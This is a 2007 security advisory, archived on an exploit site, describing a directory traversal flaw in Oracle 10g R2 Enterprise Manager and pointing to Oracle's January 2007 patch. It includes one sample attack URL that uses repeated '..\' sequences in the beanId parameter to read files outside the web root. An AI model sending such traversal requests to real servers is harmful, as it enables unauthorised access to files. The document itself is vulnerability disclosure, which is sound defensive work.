exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

NGS-traversal.txt

NGS-traversal.txt
Posted Feb 1, 2007
Authored by Mark Litchfield | Site ngssoftware.com

Oracle 10g R2 Enterprise Manager suffers from a classic directory traversal flaw. Details provided.

tags | exploit, file inclusion
SHA-256 | 7b239d813c0b71f35706e82ceb10a5685fed697cf244b62a9ea0ed16b798e32f

NGS-traversal.txt

Change Mirror Download
=======
Summary
=======
Today: 31 January 2007
Reference: NGS00402
Discover: Mark Litchfield
Name: Oracle 10g R2 Enterprise Manager Directory Traversal
Safe Name: Oracle 10g R2 Enterprise Manager
Vendor: Oracle
Systems Affected: Oracle 10g R2 Enterprise Manager
Risk: Medium
Status: Published

========
TimeLine
========
Discovered: 22 August 2006
Released: 22 Auguest 2006
Approved: 22 August June 2006
Reported: 22 August 2006
Fixed: 16 January 2007
Published: 30 January 2007

===========
Description
===========
10g R2 Enterprise Manager by default listens on TCP port 1158.

In a normal HTTP instance a sample valid request would look something like
the following:-

http://192.168.0.3:1158/em/dynamicImage/emSDK/chart/EmChartBean?beanId=25C14C26F198301F559FBB5935F6285A.gif

This translate to a PATH of:

c:\oracle\product\10.2.0\db_1\oc4j\j2ee\oc4j_applications\em\em\images\chartcache\25C14C26F198301F559FBB5935F6285A.gif

=================
Technical Details
=================

Sample 'Attack Request'

http://192.168.0.3:1158/em/dynamicImage/emSDK/chart/EmChartBean?beanId=\..\..\..\..\..\..\..\..\..\..\..\..\test.txt

*********************************************************************************************************************

===============
Fix Information
===============
http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2007.html

NGSSoftware Insight Security Research
http://www.ngssoftware.com
http://www.databasesecurity.com/
http://www.nextgenss.com/
+44(0)208 401 0070


--
E-MAIL DISCLAIMER

The information contained in this email and any subsequent
correspondence is private, is solely for the intended recipient(s) and
may contain confidential or privileged information. For those other than
the intended recipient(s), any disclosure, copying, distribution, or any
other action taken, or omitted to be taken, in reliance on such
information is prohibited and may be unlawful. If you are not the
intended recipient and have received this message in error, please
inform the sender and delete this mail and any attachments.

The views expressed in this email do not necessarily reflect NGS policy.
NGS accepts no liability or responsibility for any onward transmission
or use of emails and attachments having left the NGS domain.

NGS and NGSSoftware are trading names of Next Generation Security
Software Ltd. Registered office address: 52 Throwley Way, Sutton, SM1
4BF with Company Number 04225835 and VAT Number 783096402

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close